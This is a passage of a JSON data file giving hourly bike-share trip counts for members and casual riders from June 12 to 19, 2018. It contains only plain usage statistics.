"member_type": "Member",
"hour_of_trip": "06/12/2018 21:00",
"number_of_trips": 399
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 22:00",
"number_of_trips": 85
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 22:00",
"number_of_trips": 237
},
{
"member_type": "Member",
"hour_of_trip": "06/12/2018 23:00",
"number_of_trips": 107
},
{
"member_type": "Casual",
"hour_of_trip": "06/12/2018 23:00",
"number_of_trips": 56
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 0:00",
"number_of_trips": 7
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 0:00",
"number_of_trips": 45
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 1:00",
"number_of_trips": 16
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 1:00",
"number_of_trips": 6
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 2:00",
"number_of_trips": 2
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 2:00",
"number_of_trips": 6
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 3:00",
"number_of_trips": 1
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 3:00",
"number_of_trips": 7
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 4:00",
"number_of_trips": 1
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 4:00",
"number_of_trips": 21
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 5:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 5:00",
"number_of_trips": 106
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 6:00",
"number_of_trips": 25
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 6:00",
"number_of_trips": 417
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 7:00",
"number_of_trips": 53
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 7:00",
"number_of_trips": 950
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 8:00",
"number_of_trips": 1426
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 8:00",
"number_of_trips": 85
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 9:00",
"number_of_trips": 111
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 9:00",
"number_of_trips": 581
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 10:00",
"number_of_trips": 154
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 10:00",
"number_of_trips": 272
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 11:00",
"number_of_trips": 348
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 11:00",
"number_of_trips": 166
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 12:00",
"number_of_trips": 412
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 12:00",
"number_of_trips": 184
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 13:00",
"number_of_trips": 181
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 13:00",
"number_of_trips": 375
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 14:00",
"number_of_trips": 363
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 14:00",
"number_of_trips": 201
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 15:00",
"number_of_trips": 487
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 15:00",
"number_of_trips": 226
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 16:00",
"number_of_trips": 794
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 16:00",
"number_of_trips": 266
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 17:00",
"number_of_trips": 1471
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 17:00",
"number_of_trips": 316
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 18:00",
"number_of_trips": 328
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 18:00",
"number_of_trips": 1236
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 19:00",
"number_of_trips": 249
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 19:00",
"number_of_trips": 857
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 20:00",
"number_of_trips": 626
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 20:00",
"number_of_trips": 206
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 21:00",
"number_of_trips": 432
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 21:00",
"number_of_trips": 145
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 22:00",
"number_of_trips": 85
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 22:00",
"number_of_trips": 281
},
{
"member_type": "Casual",
"hour_of_trip": "06/13/2018 23:00",
"number_of_trips": 73
},
{
"member_type": "Member",
"hour_of_trip": "06/13/2018 23:00",
"number_of_trips": 121
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 0:00",
"number_of_trips": 65
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 0:00",
"number_of_trips": 32
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 1:00",
"number_of_trips": 33
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 1:00",
"number_of_trips": 22
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 2:00",
"number_of_trips": 5
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 2:00",
"number_of_trips": 12
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 3:00",
"number_of_trips": 6
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 3:00",
"number_of_trips": 3
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 4:00",
"number_of_trips": 1
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 4:00",
"number_of_trips": 26
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 5:00",
"number_of_trips": 10
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 5:00",
"number_of_trips": 92
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 6:00",
"number_of_trips": 408
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 6:00",
"number_of_trips": 38
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 7:00",
"number_of_trips": 56
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 7:00",
"number_of_trips": 934
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 8:00",
"number_of_trips": 110
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 8:00",
"number_of_trips": 1321
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 9:00",
"number_of_trips": 124
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 9:00",
"number_of_trips": 572
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 10:00",
"number_of_trips": 156
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 10:00",
"number_of_trips": 301
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 11:00",
"number_of_trips": 334
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 11:00",
"number_of_trips": 207
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 12:00",
"number_of_trips": 471
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 12:00",
"number_of_trips": 250
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 13:00",
"number_of_trips": 235
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 13:00",
"number_of_trips": 447
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 14:00",
"number_of_trips": 232
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 14:00",
"number_of_trips": 396
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 15:00",
"number_of_trips": 198
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 15:00",
"number_of_trips": 525
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 16:00",
"number_of_trips": 800
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 16:00",
"number_of_trips": 257
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 17:00",
"number_of_trips": 371
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 17:00",
"number_of_trips": 1512
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 18:00",
"number_of_trips": 331
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 18:00",
"number_of_trips": 1244
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 19:00",
"number_of_trips": 763
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 19:00",
"number_of_trips": 309
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 20:00",
"number_of_trips": 220
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 20:00",
"number_of_trips": 608
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 21:00",
"number_of_trips": 463
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 21:00",
"number_of_trips": 164
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 22:00",
"number_of_trips": 135
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 22:00",
"number_of_trips": 322
},
{
"member_type": "Member",
"hour_of_trip": "06/14/2018 23:00",
"number_of_trips": 178
},
{
"member_type": "Casual",
"hour_of_trip": "06/14/2018 23:00",
"number_of_trips": 73
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 0:00",
"number_of_trips": 57
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 0:00",
"number_of_trips": 81
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 1:00",
"number_of_trips": 29
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 1:00",
"number_of_trips": 30
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 2:00",
"number_of_trips": 25
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 2:00",
"number_of_trips": 12
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 3:00",
"number_of_trips": 7
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 3:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 4:00",
"number_of_trips": 20
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 4:00",
"number_of_trips": 0
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 5:00",
"number_of_trips": 130
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 5:00",
"number_of_trips": 16
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 6:00",
"number_of_trips": 334
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 6:00",
"number_of_trips": 28
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 7:00",
"number_of_trips": 64
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 7:00",
"number_of_trips": 819
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 8:00",
"number_of_trips": 116
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 8:00",
"number_of_trips": 1215
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 9:00",
"number_of_trips": 142
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 9:00",
"number_of_trips": 593
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 10:00",
"number_of_trips": 338
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 10:00",
"number_of_trips": 209
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 11:00",
"number_of_trips": 221
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 11:00",
"number_of_trips": 419
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 12:00",
"number_of_trips": 287
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 12:00",
"number_of_trips": 496
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 13:00",
"number_of_trips": 550
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 13:00",
"number_of_trips": 295
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 14:00",
"number_of_trips": 324
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 14:00",
"number_of_trips": 536
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 15:00",
"number_of_trips": 586
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 15:00",
"number_of_trips": 318
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 16:00",
"number_of_trips": 363
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 16:00",
"number_of_trips": 898
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 17:00",
"number_of_trips": 1359
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 17:00",
"number_of_trips": 343
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 18:00",
"number_of_trips": 958
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 18:00",
"number_of_trips": 377
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 19:00",
"number_of_trips": 685
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 19:00",
"number_of_trips": 316
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 20:00",
"number_of_trips": 308
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 20:00",
"number_of_trips": 484
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 21:00",
"number_of_trips": 229
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 21:00",
"number_of_trips": 378
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 22:00",
"number_of_trips": 149
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 22:00",
"number_of_trips": 337
},
{
"member_type": "Casual",
"hour_of_trip": "06/15/2018 23:00",
"number_of_trips": 107
},
{
"member_type": "Member",
"hour_of_trip": "06/15/2018 23:00",
"number_of_trips": 223
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 0:00",
"number_of_trips": 138
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 0:00",
"number_of_trips": 62
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 1:00",
"number_of_trips": 88
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 1:00",
"number_of_trips": 37
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 2:00",
"number_of_trips": 28
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 2:00",
"number_of_trips": 62
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 3:00",
"number_of_trips": 13
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 3:00",
"number_of_trips": 27
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 4:00",
"number_of_trips": 3
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 4:00",
"number_of_trips": 16
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 5:00",
"number_of_trips": 4
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 5:00",
"number_of_trips": 44
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 6:00",
"number_of_trips": 80
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 6:00",
"number_of_trips": 14
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 7:00",
"number_of_trips": 44
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 7:00",
"number_of_trips": 165
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 8:00",
"number_of_trips": 373
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 8:00",
"number_of_trips": 104
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 9:00",
"number_of_trips": 492
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 9:00",
"number_of_trips": 241
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 10:00",
"number_of_trips": 576
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 10:00",
"number_of_trips": 317
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 11:00",
"number_of_trips": 505
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 11:00",
"number_of_trips": 732
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 12:00",
"number_of_trips": 557
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 12:00",
"number_of_trips": 599
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 13:00",
"number_of_trips": 669
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 13:00",
"number_of_trips": 530
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 14:00",
"number_of_trips": 649
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 14:00",
"number_of_trips": 565
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 15:00",
"number_of_trips": 507
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 15:00",
"number_of_trips": 640
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 16:00",
"number_of_trips": 629
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 16:00",
"number_of_trips": 566
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 17:00",
"number_of_trips": 519
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 17:00",
"number_of_trips": 581
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 18:00",
"number_of_trips": 404
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 18:00",
"number_of_trips": 592
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 19:00",
"number_of_trips": 482
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 19:00",
"number_of_trips": 418
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 20:00",
"number_of_trips": 337
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 20:00",
"number_of_trips": 379
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 21:00",
"number_of_trips": 312
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 21:00",
"number_of_trips": 291
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 22:00",
"number_of_trips": 185
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 22:00",
"number_of_trips": 264
},
{
"member_type": "Member",
"hour_of_trip": "06/16/2018 23:00",
"number_of_trips": 205
},
{
"member_type": "Casual",
"hour_of_trip": "06/16/2018 23:00",
"number_of_trips": 140
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 0:00",
"number_of_trips": 69
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 0:00",
"number_of_trips": 145
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 1:00",
"number_of_trips": 37
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 1:00",
"number_of_trips": 101
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 2:00",
"number_of_trips": 67
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 2:00",
"number_of_trips": 21
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 3:00",
"number_of_trips": 28
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 3:00",
"number_of_trips": 12
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 4:00",
"number_of_trips": 22
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 4:00",
"number_of_trips": 8
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 5:00",
"number_of_trips": 9
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 5:00",
"number_of_trips": 25
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 6:00",
"number_of_trips": 45
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 6:00",
"number_of_trips": 17
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 7:00",
"number_of_trips": 117
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 7:00",
"number_of_trips": 37
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 8:00",
"number_of_trips": 133
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 8:00",
"number_of_trips": 275
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 9:00",
"number_of_trips": 368
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 9:00",
"number_of_trips": 225
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 10:00",
"number_of_trips": 558
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 10:00",
"number_of_trips": 322
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 11:00",
"number_of_trips": 358
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 11:00",
"number_of_trips": 552
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 12:00",
"number_of_trips": 527
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 12:00",
"number_of_trips": 386
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 13:00",
"number_of_trips": 590
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 13:00",
"number_of_trips": 395
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 14:00",
"number_of_trips": 556
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 14:00",
"number_of_trips": 434
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 15:00",
"number_of_trips": 517
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 15:00",
"number_of_trips": 438
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 16:00",
"number_of_trips": 563
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 16:00",
"number_of_trips": 392
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 17:00",
"number_of_trips": 328
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 17:00",
"number_of_trips": 486
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 18:00",
"number_of_trips": 268
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 18:00",
"number_of_trips": 527
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 19:00",
"number_of_trips": 410
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 19:00",
"number_of_trips": 272
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 20:00",
"number_of_trips": 194
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 20:00",
"number_of_trips": 345
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 21:00",
"number_of_trips": 242
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 21:00",
"number_of_trips": 160
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 22:00",
"number_of_trips": 150
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 22:00",
"number_of_trips": 113
},
{
"member_type": "Member",
"hour_of_trip": "06/17/2018 23:00",
"number_of_trips": 135
},
{
"member_type": "Casual",
"hour_of_trip": "06/17/2018 23:00",
"number_of_trips": 84
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 0:00",
"number_of_trips": 38
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 0:00",
"number_of_trips": 37
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 1:00",
"number_of_trips": 15
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 1:00",
"number_of_trips": 13
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 2:00",
"number_of_trips": 12
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 2:00",
"number_of_trips": 7
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 3:00",
"number_of_trips": 5
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 3:00",
"number_of_trips": 1
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 4:00",
"number_of_trips": 1
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 4:00",
"number_of_trips": 19
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 5:00",
"number_of_trips": 9
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 5:00",
"number_of_trips": 97
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 6:00",
"number_of_trips": 19
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 6:00",
"number_of_trips": 364
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 7:00",
"number_of_trips": 45
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 7:00",
"number_of_trips": 821
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 8:00",
"number_of_trips": 96
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 8:00",
"number_of_trips": 1048
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 9:00",
"number_of_trips": 475
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 9:00",
"number_of_trips": 141
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 10:00",
"number_of_trips": 145
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 10:00",
"number_of_trips": 263
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 11:00",
"number_of_trips": 262
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 11:00",
"number_of_trips": 176
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 12:00",
"number_of_trips": 196
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 12:00",
"number_of_trips": 313
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 13:00",
"number_of_trips": 331
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 13:00",
"number_of_trips": 195
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 14:00",
"number_of_trips": 309
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 14:00",
"number_of_trips": 164
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 15:00",
"number_of_trips": 195
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 15:00",
"number_of_trips": 370
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 16:00",
"number_of_trips": 686
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 16:00",
"number_of_trips": 227
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 17:00",
"number_of_trips": 260
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 17:00",
"number_of_trips": 1361
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 18:00",
"number_of_trips": 1060
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 18:00",
"number_of_trips": 210
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 19:00",
"number_of_trips": 675
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 19:00",
"number_of_trips": 184
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 20:00",
"number_of_trips": 484
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 20:00",
"number_of_trips": 173
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 21:00",
"number_of_trips": 127
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 21:00",
"number_of_trips": 352
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 22:00",
"number_of_trips": 262
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 22:00",
"number_of_trips": 105
},
{
"member_type": "Casual",
"hour_of_trip": "06/18/2018 23:00",
"number_of_trips": 57
},
{
"member_type": "Member",
"hour_of_trip": "06/18/2018 23:00",
"number_of_trips": 150
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 0:00",
"number_of_trips": 25
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 0:00",
"number_of_trips": 38
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 1:00",
"number_of_trips": 23
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 1:00",
"number_of_trips": 20
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 2:00",
"number_of_trips": 7
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 2:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 3:00",
"number_of_trips": 10
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 3:00",
"number_of_trips": 1
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 4:00",
"number_of_trips": 22
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 4:00",
"number_of_trips": 4
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 5:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 5:00",
"number_of_trips": 117
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 6:00",
"number_of_trips": 24
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 6:00",
"number_of_trips": 381
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 7:00",
"number_of_trips": 939
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 7:00",
"number_of_trips": 64
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 8:00",
"number_of_trips": 82
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 8:00",
"number_of_trips": 1214
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 9:00",
"number_of_trips": 77
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 9:00",
"number_of_trips": 513
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 10:00",
"number_of_trips": 125
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 10:00",
"number_of_trips": 265
},
{
"member_type": "Casual",
